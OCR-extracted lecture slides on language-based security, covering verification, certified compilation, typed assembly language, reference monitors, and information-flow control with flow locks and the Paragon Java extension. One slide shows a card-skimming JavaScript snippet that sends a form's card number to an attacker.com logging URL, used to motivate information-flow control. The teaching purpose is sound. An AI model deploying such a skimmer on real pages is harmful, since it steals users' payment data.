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Developers Write Vulnerable Apps. (communtymaintained OVE)

Vulnerability Type Chanqge By Year p—
y 'yp ge by

This visualization emphasizes how the assignment of CWEs has changed year to year.
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Executive summary

The overall security of web applications has continued to improve,
but still leaves much to be desired.

=d i iggg&}éﬁosles Key takeaways regarding web applications:

Hackers can attack users in 9 out of 10 web applications. |Attacks
include redirecting users to a hacker-controlled resource, stealing

n | |
We b Ap p I Catl O n S credentials in phishing attacks, and infecting computers with malware.

Unauthorized access to applications is possible on 39 percent

of sites.

vulnerabilities and

Breaches of sensitive data were a threat in 68 percent of web

threats: statistics
for 2019 p—

82 percent of vulnerabilities were located in application code.

The average number of vulnerabilities per web application fell

by a third compared to 2018.

published
2020 - |One out of five vulnerabilities has high severity.
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willard@penguin:~$ gcc hello.c -o hello
willard@penguin:~$ ./hello

Hello, World!

willard@penguin:~$

What did you just place your trust in?

What did you trust them with?
What basis 1s this trust on?

TCB (Trusted Computing Base) : “All HW/SW that is critical to your system'’s security
(in the sense that bugs or vulnerabilities occurring inside the TCB might jeopardize
the security properties of the entire system).”

Compiler
Terminal
Shell

OS & libs
Drivers
Hardware
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Hackers Are Already Using Bl
the Shellshock Bug to
Launch Botnet Attacks

March 11,
2017

Keylogger Found in Audio Driver of HP Laptops

¥ AMResearchers flag 7-years-old

2021 . & . . .
orivilege escalation flaw in Linux

ernel (CVE-2021-33909)

A vulnerability (CVE-2021-33909) in the Linux kernel’s

TCB not infallible! fllesystem layer that may allow local, unprivileged attackers to
now, let’s look at the compiler... gain root privileges on a vulnerable host has been unearthed by

(story by Ken Thompson, in 1983)

researchers.
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C compiler

okay, let’s fix the compiler.
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Ken Thompson & Dennis Ritchie
Creators of C and UNIX
Turing Award 1983

Do you trust these men?
Can you trust anyone?
What can you trust?

math!
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how do we convince ourselves & others
that our SW is secure?

Today: Trustworthiness

language-based security

e proving properties of programs

e analytical trust
o obtaining trust: program analysis, certified compilation
o transferring trust: proof-carrying code, typed assembly language

e synthesized trust
o software fault isolation, program transformation

information-flow control <« app-specific security goals

e analytical trust: program analysis (type system)
e synthesized trust: program transformation (monitor)




computer
security

my
research

programming formal
languages methods

Willard Rafnsson

IT University of Copenhagen
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language-based security

What 1s 1t?

a set of techniques based on programming language theory & formal methods
semantics, types, optimization, verification, etc.
brought to bear on the security question. - Dexter Kozen

leverage program analysis & program rewriting to enforce security policies.
supports flexible & general notion of principal & minimal access, to support:

e principle of least privilege,
e minimum trusted computing base. - Fred B. Schneider



language-based security

What ]_S ]_t? let's look at these for a bit

a set of techniques based on programming language theory & formal methods
semantics, types, optimization, verification, etc.
brought to bear on the security question. - Dexter Kozen

leverage program analysis & program rewriting to enforce security policies.
supports flexible & general notion of principal & minimal access, to support:

e principle of least privilege,
e minimum trusted computing base. - Fred B. Schneider
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proving properties
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Language-based Security - Proving Properties of Programs

Halting Problem [Turing,1936]

“does P halt given 1?”
kprogram kinput
true or false, for all P and 1.
halts(P, i) = true if P halts on i; false otherwise.

let’s implement halts...

Put_Line ("Hello, world!");

while True loop
Put ("heya... ");
end;

while 1 !'= 0@ loop
Puk (&1 15 net 9. . )
end;
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Theorem:
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\ no P’ computes halts.
(always eventually returns yes/no)




Language-based Security - Proving Properties of Programs

Halting Problem [Turing,1936]

“does P halt given 1?”
kprogram kinput
Theorem:

halts(P, i) is undecidable.

\ no P’ computes halts.
(always eventually returns yes/no)
(=

5
B infinite Q B infinite Q
loop loop
L] ]
Proof: i wast ., . Y |~ YES . a1 . |~ YES
copy 3 T N0 ves Loopy | O no —* vES

B halts on input B {prints a YES, see outer box) if

Program B takes a program P as input, B does not halt on input B (A should yield a NO, see inner box)

prints a YES if P does not halt on input P,

but goes into an infinite loop if P halts on input P B does not halt on input B (infinite loop, see outer box) if
B halts on input B (A should yield a YES, see inner box)




Language-based Security - Proving Properties of Programs

Halting Problem [Turing,1936]

“does P halt given 1?”
kprogram kinput
Theorem:

halts(P, i) is undecidable.

\ no P’ computes halts.
(always eventually returns yes/no)

Proof: assume (towards contradiction) that A computes halts.
B(B) halts = A(B,B) = No = B(B) hatts
B(B) kalts = A(B,B) = Yes = B(B) halts
a contradiction.



Language-based Security - Proving Properties of Programs

LI Be”= L= i_1

Soundness Completeness

If analysis says X is
true, then X is true

If X is true, then
analysis says X is true

Things | say

Trivially sound: Say nothing Trivially complete: Say everything

Sound and Complete: Say exactly the set of true things!

ults.

why: Godel’'s incompleteness result.

[Turing,1936]

returns yes/no) [Gode|,1 931 ]




Language-based Security - Proving Properties of Programs

Halting Problem [Turing,1936]

“does P halt given 1?”
kprogram kinput
Theorem:

halts(P, i) is undecidable.

\ no P’ computes halts.

(always eventually returns yes/no) [Ri ce : 1 9 53]

Corollary: for any p that is not trivial,
p(P) is undecidable.™ property  true, or

false, for
all P




Language-based Security - Proving Properties of Programs

What can we do?

no tool can prove “—_— always eventually
whether or not answer yes/no

any given program P satisfies
any given specification p.




Language-based Security - Proving Properties of Programs

What can we do?

no tool can prove

whether or not

any given program P satisfies
any given specification p.

formal methods & programming language theory explore

- allowing false alarms,
- imposing restrictions
on P or p, and
- requiring assistance from a human.




Language-Based Security - Proving Properties of Programs

Program Verification: Flowcharts

Robert W. Floyd
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Language-Based Security - Proving Properties of Programs
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Language-Based Security - Proving Properties of Programs

Program Verification: Flowcharts

Robert W. Floyd

predicate
(description of
state space at (R+1)*2<=N
time the edge is

traversed) N < (R+1)"2 (R+1)*2 <= N
R:=R+1
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condition is false
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Program Verification: Flowcharts

Robert W. Floyd

(R+1)*2 <= N

RA2 <= N AND N < (R+1)*2 (R+1)A2 <= N
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Program Verification: Flowcharts

Robert W. Floyd
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Program Verification: Flowcharts

Robert W. Floyd

lR"Z <=N

(R+1)"2 <=N RA2 <= N
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Introduction. This paper attempts to provide an adequate basis for

true whenever

condition is entered
(and condition does
not change state)




Language-Based Security - Proving Properties of Programs

Program Verification: Flowcharts

lR"Z <=N

(R+1)"2<=N RA2 <= N
RA2 <= N AND N < (R+1)A2 (R+1)A2 <= N AND R"2 <= N
M
R:=R+1

Proof that after loop,
R = integer square root of N (if 0 <= N initially)

Robert W. Floyd
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Language-Based Security - Proving Properties of Programs

Program Analysis & Program Transformation

there are many techniques to prove properties of programs. compute the invariants

flow charts (Floyd, 1967) — Hoare logic (Hoare, 1969) — weakest precondition (Dijkstra, 1976),
symbolic execution, abstract interpretation, model checking, ...

in this module, we focus on two techniques.

e program analysis analyze P w/o running it (e.g. at compile-time).
reject P if P can violate property.

e program transformation rewrite P s.t. it cannot violate property.
property thus enforced on run-time.



Language-Based Security

analytical trust




Language-Based Security - Analytical Trust

What 1s 1t?

trust in artifact justified by trust in method of analysis.

e testing: fine if you can test all input. else, you must know that you
tested the right inputs.
e verification: logical analysis (manual or automatic). proof is for all runs.

program analysis falls into this category.



Language-Based Security - Analytical Trust

Convince Yourself

scenario: you run your

program analysis analysis Sommae code '
—_——————p Machine-executable
on the program. Compilation code

your analysis says “OK”.

Proof that the program |
meets its specification 277 meets its specification?

you compile the program,
and run it.
compiled-program “OK"?




Language-Based Security - Analytical Trust

CompCert

Certifled Compilation




Language-Based Security - Analytical Trust

CompCert Project

(X. Leroy; S. Blazy, Z. Dargaye, J.B. Tristan; et al.)

Develop and prove correct a realistic compiler, usable for critical embedded
software.

@ Source language: a very large subset of C.
@ Target language: PowerPC/ARM/x86 assembly.

Written in

Gallina,
Proven in

@ Generates reasonably compact and fast code Coq.

= careful code generation, with some optimizations (4 man-yrs)

Compiler written from scratch, along with its proof; not trying to prove an
existing compiler.




Language-Based Security - Analytical Trust

The whole CompCert compiler

parsing, construction of an AST

[ C source j

R
>
(0]
_|
(@)

__/

type-checking, de-sugaring

Type reconstruction o

Graph coloring ™

Code linearization heuristics

Y
assemblin rinting! of
[Executable]< i Assembly } s AST Asm ]

linking asm syntax
I

131dwod paysA

|
1
|
Part of the TCB Not proved : Proved in Coq
1
1

Not part of the TCB (hand-written in Caml) (extracted to Caml)




Language-Based Security - Analytical Trust

Performance of generated code

on a PowerPC G5 processor

Bl gcc -00

B Compcert
B gcc -01
Bl gcc -03

Execution time

A

AES
Almabench
Fannkuch
FFT

Nbody
Qsort
Raytracer
Spectral
VMach

Binarytrees
Knucleotide




Language-Based Security - Analytical Trust

Convince Others

scenario: you compile

your program analysis Source code '
. —_— Machine-executable
with CompCert. Compilation code

you have assurance that — ‘
the result satisfies spec. Proof that the program

meets its specification 277 meets its specification?

how do you convince
others? others might download, install, run Coq and do the check. but,

e proof might depend on original source code. (don't want to share it)
e Coqis alarge tool (installation, etc.)



Language-Based Security - Analytical Trust

proof-carrying code
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Fig. 1. Language-Based Security (Simplified View)




Language-Based Security - Analytical Trust

Why PCC; how does it help?

Q: SW vendor can just use program analysis + CompCert.

A: then SW consumer must trust SW vendor.

Q: SW consumer can run program analysis + CompCert him/her-self?

A: then SW consumer must trust program analysis (big?), & have source code.
in PCC, SW consumer only trusts verifier (small), & has bytecode.

Q: won't the verifier be big? or take long to compute? ﬁ:f; e

A: fundamental results from computability theory; SEEMEEE EM

checking evidence is faster than producing evidence.
represent evidence in simpler language, to be checked by simpler machine



Language-Based Security - Analytical Trust

typed assembly language
(an example of PCC)



Language-Based Security - Analytical Trust

TYPED ASSEMBLY LANGUAGE

Q: How to guarantee safety w/ untyped & untrusted code?

» Extend benefits of types all the way to the target

» Types as implementation of Proof-Carrying Code

lamain:
code[]{}. % entry point
mov rl1,6
jmp lfact
lfact:
code[]{r1:int}. % compute factorial of r1
mov r2,rl % set up for loop
mov ri,1
jmp 1lloop
1 loop:
code[]{r1:int,r2:int}. % ri: the product so far,
% r2: the next number to be multiplied
bnz r2,lnonzero % branch if not zero
halt[int] % halt with result in r1
lnonzero:
code[]{rl:int,r2:int}.
mul ri,rl,r2 % multiply next number
sub r2,r2,1 % decrement the counter
jmp lldoop




Language-Based Security - Analytical Trust

Contrast to Java

Type-Based Protection (JVM) Ideally:

ifi i ifier System
JVM verifier System our favorite veri
f In‘ryer'face Interface

:~': @ Low-Level IL " "
“Kernel" (S54) Kernel

Optimizer

Sysfem

JVM bytecodes i

TAL




Language-Based Security - Analytical Trust

TYPED ASSEMBLY LANGUAGE - FEATURES

» RISC-style language

> Types:

code[]{r1:int}.

» Code types
» Pointer Types
» Existential Type Constructor
> Security:
> No pointer forging!
Application Memory

» Control Flow Integrity Heas

» Other: i

Static/Global

» Memory Allocation




Language-Based Security - Analytical Trust

SYSTEM F TO TAL

» Show that TAL is expressive

CPS Closure Code

AF conversion 2K conversion \C Hoisting \H Allocation A generation

TAL




Language-Based Security - Analytical Trust

Pros and Cons

pro: if p passes analysis, then you can safely run it.
if you transfer proof of this to others, then so can they.

con: what about 1) unknown binaries? 2) mobile code (JS)?

todo-s:

e permissive type system, expressive policies.
e certified compilation for IFC
e |FC proofs encoded in TAL well defined

plenty of work to do.

well typed



Language-Based Security

synthesized trust




Language-Based Security - Synthesized Trust

What 1s 1t?

trust in artifact justified by trust in method of construction.

e in-lined checks: program has within it checks to ensure that
property is satisfied.
e compositional reasoning: trustin glue used to combine components.

program transformation falls into this category. PEOETSIN P ~— My OF Eayok

satisfy security policy

approaches that transform security into software are T
. SO vare. a mo 1 1esp
referred to as Software Fault Isolation. BRLEW" | sotdbenienvariant

program p’ —— guaranteed to satisfy
security policy of interest




Language-Based Security - Synthesized Trust

Secure by Transformation

inlined reference monitor
program, transformed to include a monitor.

old program misbehaves = new program self-destructs.

great, when it's sufficient.
monitors are limited; can only observe current trace,
not “branches not taken”.

fortunately, there are other approaches.

e secure multi-execution
e self-composition

WRITEHTO [

)
| DARE YOU!




information-flow control




e
w Y 4 Return to eBay.com . 4 Retumn to eBay.ca

Freight Resource Center

Your solution for moving heavy items.

New to eBay?
| start here |

FREIGHTQUOTE.COM

Choose A Topic

Home

Add a Freight Calculator
Rate & Schedule

Trace Shipments
i) nt

EAQ

Helpful Links

View Demo

Packaging Tips

About freightquote com
Glossary & Definitions

Payment information

Please provide payment information to confirm your shipment.
O Apply charges to my Freightguote.com account
OPaypal (222

Ol would like to pay by credit card.

Card name:\ ‘

Card numberz\ ‘

Expiration date:l || |

Name on card:{ ‘

| Pay for shipment P |



Attack

<script type="text/javascript">

function sendstats () {

new Image().src=
"http://attacker.com/log.cgi?card="+
encodeURI(form.CardNumber.value); }

</script>

e Root of the problem: information flow
from secret to public




Origin-based restrictions

Internet

Browser |[ |
!
DOM _
tree || » Script

e Often too restrictive

FI

= [
—— N




Information flow controls

Browser |[]
!
DOM [ ]
tree

Internet




Information security:
confidentiality

o Confidentiality: sensitive information must not
be leaked by computation (non-example:
spyware attacks)

e End-to-end confidentiality: there is no
insecure information flow through the system

e Standard security mechanisms provide no
end-to-end guarantees

— Security policies too low-level (legacy of OS-based
security mechanisms)

— Programs treated as black boxes

22



Confidentiality: standard
security mechanisms

Access control

+prevents “unauthorized” release of information
- but what process should be authorized?
Firewalls

+permit selected communication

- permitted communication might be harmful
Encryption

+secures a communication channel

- even if properly used, endpoints of
communication may leak data 23



Confidentiality: standard
security mechanisms

Antivirus scanning

+rejects a “black list” of known attacks

- but doesn’ t prevent new attacks

Digital signatures

+help identify code producer

-no security policy or security proof guaranteed
Sandboxing/0OS-based monitoring

+good for low-level events (such as read a file)
-programs treated as black boxes

= Useful building blocks but no end-to-end
security guarantee o4



In a Nutshell

Security needs to be
application-specific

_ _ * Transform
Information flow is

* Analyse
central .

* Monitor
The best place to tackle : Rewnt.e
this is at the level of Redesign

code



What is Secure Information
Flow?
Public (Low) output / Secret (High) output

A4 A4

Inputs

36



What is Secure Information

Low output

Flow?

/]

High output

37



Confidentiality: Examples

l:=h insecure (direct)
n:=h+l secure Denning’s
l:=h mod 2 insecure %eetgff the
if h=0 then [:=0 insecure (indirect)
else |:=1
while (h=0 ) skip insecure -
(termination)
if h=0 then insecure
sleep(10000000) |(timing)

25



Language-Based Security

* Leveraging programming language
technology
— Static analysis
— Dynamic monitoring
— Program Transformation
— Programming Language Design

for Computer Security



Security by Construction

* understand the semantics of security
requirements (policies) of applications

° express security requirements at a software
level

* verify or enforce security requirements
using programming language technology



Enforcement by Static

* Assign security
clearance levels to
objects in a program
(variables, channels etc)

* Certify Security before
running them

— [Denning&Denning ‘77]




Denning’s Certification Method

1. level of an expression is the LI of the levels of its
variables

n+|
has level
High LU Low = High



Denning’s Certification Method

1. level of an expression is the LI of the levels of its
variables

2. assignment of an expression of level A to a
variable of level B only allowed if AC B



Denning’s Certification Method

1. level of an expression is the LI of the levels of its
variables
2. assignment of an expression of level x to a
variable of level y only allowed if
XCy
3. in the body of any conditional or a loop with

guard of level x, only allow assignments to
variables with levels J x



Denning’s Certification Method

if h=0 then [:=0

3. in the body of any conditional or a loop with
guard of level x, only allow assignments to
variables with levels J x



demo

implement check:
compile-time checker; Denning-style




Information flow in 70’s

e Runtime monitoring

— Fenton’s data mark machine
— Gat and Saal’s enforcement
— Jones and Lipton’s surveillance

e Dynamic invariant:
"No public side effects
in secret context”

e Formal security
arguments lacking




Denning Restrictions, How To Check

recall “check"
e whilst within a branch on “¢," (“if”", "while"):
raise pcby lev( e, )
e when'x:=¢,"is encountered:

lev(e, )E lev(x)  «—explicit flow
lev(pc )E lev(x) ~ «—implicit flow




Denning Restrictions, How To Check

recall "check™:

e whilst within a branch on “¢," (“if”", "while"):

raise pcby lev( e, )

e when'x:=¢,"is encountered:

- . “~ )
o
%
= | DARE YOU!
imgfiip.com: ‘:‘ =i -

lev(e, )E lev(x) — «—explicit flow
lev(pc )E lev(x)  <—implicit flow

in “monitor”, we'll do exactly the same thing,
just on run-time (change “eval”).




demo

implement monitor:
run-time monitor; Fenton’s Datamark machine




Reference monitor: (some) approaches

Interpreter

program binary

operation

All instructions checked by the
monitor. Program executed only if
operations comply with policies.

Supports very expressive policies.

Slow

/

<" 7N

\ Applicadon

Only intercepts some operations
interpreted by monitor. Operations
executed if comply with the policy.

Policies restricted to intercepted
operations.

Faster than interpreter in most cases.

Hardware

supervisor mode

user
mode

Mode of execution determines allowed
operations

User mode = process/thread memory
Supervisor mode = all memory
Limited policies

Fast; only requires checking execution
mode.




No! In fact, dynamic enforcement is as
secure as Denning-style enforcement
e Trick: termination

e Denning-style -
enforcement 1T secret

No
assignments
to public
variables

termination-insensitive

e Monitor blocks
execution before a
public side effect takes
place in secret context

print(public)




Semantics-based security

e What end-to-end policy such a type
system guarantees (if any)?

e Semantics-based specification of
information-flow security [Cohen’ 77],
generally known as noninterference
[Goguen&Meseguer’ 82]:

A program is secure iff high inputs do not
interfere with low-level view of the system
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Noninterference

e As high input varied, low-level behavior
unchanged

C is secure iff

vmem,mem’. mem =, mem’ = [C]mem = [C[mem’

Low-memory equality: C’ s behavior: Low view =
(h,) =, (h",I") iff I=I' semantics [C |nd|st|ngwshab|I|ty
: by attacker
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Confidentiality: Examples

l:=h insecure (direct) |untypable
l:=h; ;=0 secure untypable
h:=l; l:=h secure untypable
if h=0 then [:=0 |insecure untypable
else |'=1 (indirect)
while h=0 do skip |secure (up to typable
termination)
if h=0 then sleep |secure (up to typable

(1000)

timing)
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Evolution of language-based
information flow

Before mid nineties two separate lines of work:

Static certification, e.g., [Denning&Denning’ 76,
Mizuno&Oldehoeft’ 87,Palsberg&@rbaek’ 95]

Security specification, e.g., [Cohen’ 77, Andrews&
Reitman’ 80, Banatre&Bryce’ 93, McLean’ 94]

Volpano et al.” 96: First connection between
noninterference and static certification:
security-type system that enforces
noninterference
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Evolution of language-based
information flow

Four main categories of current
information-flow security research:

Enriching language expressiveness
Exploring impact of concurrency

e Analyzing covert channels (mechanisms not
intended for information transfer)

Refining security policies

43



Information
Flow Control

prove high-level security properties of SW
= trustworthy software

:! with tools ]

Prove absence of undesired flows
of information in programs.

e [app] does not leak
[ credit card nr] to [ad provider]
L

Well developed (40+ years)

e OS, voting system, web framework, email
(seL4, Civitas, Swift, JPMail)




Information Flow Control

Noninterference

Property

L L

inputs do not interfere with L outputs.”
Property of behavior sets of traces

Many flavors confidentiality / integrity

Enforced analysis / transformation

Flows
explicit:  avg := ( + )/2;

implicit:  if (

mod 2 == 1) {
b is male := 1;

Enforcement

Program Analysis (Type System; check ): Q
reject bad programs on compile-time.




e Values have information.

e Deconstructing a value
transfers its information
to the result.

change the whole object (good)
e the presence of a field may

an Object ].S a Va].ue contain information (danger)

computing on fields deconstructs the fields (& structure).




C  ® Notsecure | cse.chalmers.se/research/group/paragon/

@ Paragon

About

Paragon is a language extension to the programming language Java that enables practical
programming with information flow controls.

Download

To compile and run a Paragon program you need the Paragon compiler as well as a collection of
interface files and the Paragon run time environment. Select the right version:

Paragon 0.1 Supports explicit actors (as in the POPL '10 paper).
Paragon 0.2 Supports objects as actors (as in the APLAS '13 paper).

A 17/' y ))\: Interface files  Runtime

-
Paragon 0.1 32 bit 64 bit 64 bit source libPl.zip libs
Paragon 0.2 32 bit 64 bit 64 bit source libPl.zip  paragon_rt.jar

Paragon 0.2 can also be installed from Hackage: cabal install paragon

> Usage instructions

Tutorials

Get started with Paragon via our online interactive tutorial, or take a look at some of our case
studies.

« Tutorial: interactive or as pdf.
Case study: Sealed Bid Auction.
Case study: Social Network.
Case study: Mental Poker.
Case study: ParaJPMail.




In an Ideal World...

* Design a policy based on
principals (security levels)
and permitted information
flows.

* Assign security levels to
endpoints of the system

* Verify that there will be no
bad information flows before
running the program

[Denning 77]




In Practic
Dynamic Policies
* Declassification
* Revocation
* Endorsement
* Role change




Locks




Locks




Key idea

Policies are stateful

* security-relevant events in the
execution determine the
intended flows

* policies must be state-
dependent

A Core Calculus for Dynamic Flow Policies,
[Broberg & Sands ESOP’06]



Flow locks

First step towards our policy language

* Basic idea: Use locks to guard flows to/from
actors

— Example: "Alice can access the secret data only after
she has paid”

{ Alice : Paid}

Actor Lock



Generalise Locks to Roles

°* Need a lock to capture that

A is a member of role R
—e.g. Ais a Boss, henceforth: Boss(A)

* Policy: If x is a Boss then information may
flow to x

V X. X: Boss(x)k

Actor Parameterised locks
polymorphism “Paralocks”




open Boss(Alice)

® Alice promote Alice

x>

® Bob

demote Alice

® Joe /\_

close Boss(Alice)

Joe (Public):

Example

romote Bob @® Bob
Alice Bob p/'—\
v ® Alice
demote Bob
Joe
@ Joe

Employee A: {A; Vx. x : Boss(x)}
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Flow Locks - expressiveness

Temporal aspects

— E.g. the "Paid” example.

Role-based information flow control
—{Va. a:Admin(a) }

Relations

—{X;Va.a: ActsFor(X, a) }



Sound Flows: Intuitions

open Boss (alice)
aSalary:= bossSalary J
i N ] T
{ alice; Vx. x : Boss(x) } ; { Vx. x : Boss(x) }

May perform an assignment as long as the policy on the
target location is

* at least as restrictive as the policy on the data
* relative to the current lock state

Boss(alice) A VYx.Boss(x)=Flow(x) = Flow(alice) A Yx.Boss(x)=Flow(x)



S,
<

Java

- concurrency
- inner classes




gkl B

Actor |
final SDCard sdcard;
Lock
lock MylLock;
Policy [ poticy secret =
{ sdcard :
; internet : MylLock
}:
Annotation

?secret Calendar cal;




‘Fﬁ ‘ h

Paraloc

kS Policies

-« Policy: “Everyone can listen to this online
music stream If they paid for it”

|{ ‘X : Has Paid('x) } I

Actors 1 ‘ Locks

M Variables H Para-locks 1

T
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Declarations: lock and policy

lock Owns(User, File);
reflexive transitive lock ActsFor(User,User)

policy alicelLog = {File f: Owns(f, alice)};

policy alicelog” =[5 string declared with a
File f: OwnS(U:ﬂgiven policy

— 7 —

?alicelLog String myDiary = “.”
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HighLow

~

coNOYUT PR WN -

- public class HighLow {

4

—

private static final Object lowObserver;
private static final Object highObserver;

{ highObserver : };
{ lowObserver :
; highObserver : };

public static final policy high
public static final policy low

147



public class HighLowD{

private static final Object lowObserver
private static final Object highObserver
private static lock Declassify;

public static final policy
low = { lowObserver: ; highObserver};
public static final policy
high = { highObserver :
; LowObserver: Declassify};

public static ?low int declassify(7?high int x){
open Declassify { return x; }

}
}
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Modularity via Lockstate Contracts

® Three different kinds of modifiers:

* +Paid : Lock Paid will always be opened by
method.

e —Paid :Lock Paid may be closed by method.

e ~Paid : Method may not be called unless Paid is
open.



Modularity and Side Effects

'Tow void setPublicTrue() {
myPublic = true;
}

Tow void leak() {
1f (declassify(mySecret)) {
setPublicTrue();

} Write effect

158



Paragon

Example

public class Network ({

public class User {

private static Post[] posts = new Post[10]; // Shifting list of posts public reflexive symmetric lock Friend(User, User);
private static int index = 0; // Where to place the next post public readonly lock FoFriend(User, User)
{ (User x y z) FoFriend(x,y) : Friend(x,z), Friend(z,y) };
! {Object x:} static void post( ?{Object x:} User user public void receive (?{this:} String data) {
, ?Sanitiser.unsanitised String message ... // User receives provided data
, ?{Object x:} boolean shareFoF ) { }

String sM = Sanitiser.sanitise (message); }
Post p = new Post (user, sM);
if (shareFoF)

open Post.ShareFoF (p); public class Post {
posts[index] = p; public lock ShareFoF (Post) ;
index = (index + 1) % posts.length; // Next time overwrite oldest post public final User poster;
} public static final policy messagePol =
{ User x : User.Friend(x, poster)
static void read(?{Object x:} User user, ?{Object x:} int i) { ; User x : User.FoFriend(x, poster), ShareFoF (this) };
?{user:} String res = null; public final ?messagePol String message;
Post p = posts[i]; public Post (?{Object x:} User p, ?messagePol String m) {
if (p != null) { this.poster = p;
if (User.Friend(user, p.poster)) this.message = m;

res = p.message; }
if (Post.ShareFoF (p)) }
if (User.FoFriend(user, p.poster))
res = p.message;
} public class Sanitiser ({
user.receive (res); private lock Sanitised;
} public static final policy unsanitised = {Object x : Sanitised};
public static ?{Object x:} String sanitise (?unsanitised String s) {

open Sanitised {
Two IFC policies that we want Paragon to enforce. ESLUSR GG condi oo nE g
(1) posts can only be read by a direct friend of the poster or, if the poster

so indicates, by friends of friends of the poster.

(2) to prevent injection or scripting attacks, a message should be
properly sanitised before it is stored in the network.
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Summary

Why security 1s hard: Isolation vs. Sharing

Isolation

#!/bin/sh
echo ...

#!/bin/sh
echo ...

#!/bin/sh
echo ...

ideal situation.
makes security easy.

Sharing

y—
{ 49—

1 € #!/bin/sh
+ echo ...

real situation.
makes security hard.

—

(—

o™
I

Ml

confinement
problem:
how to run
programs
securely in
this setting?




Summary

[FC for Application-Specific Security Goals

authorization: information-flow control

policies «— label 1/0
enforcement < compile-time, run-time
tools «— JSFlow, Paragon

“It is conceivable to me that information-flow control
might work. The problem with it so far is that we've
been too hard-nosed about it. It's record so far has
been discouraging. So | think that's up for grabs.”

Butler Lampson, SOSP'15
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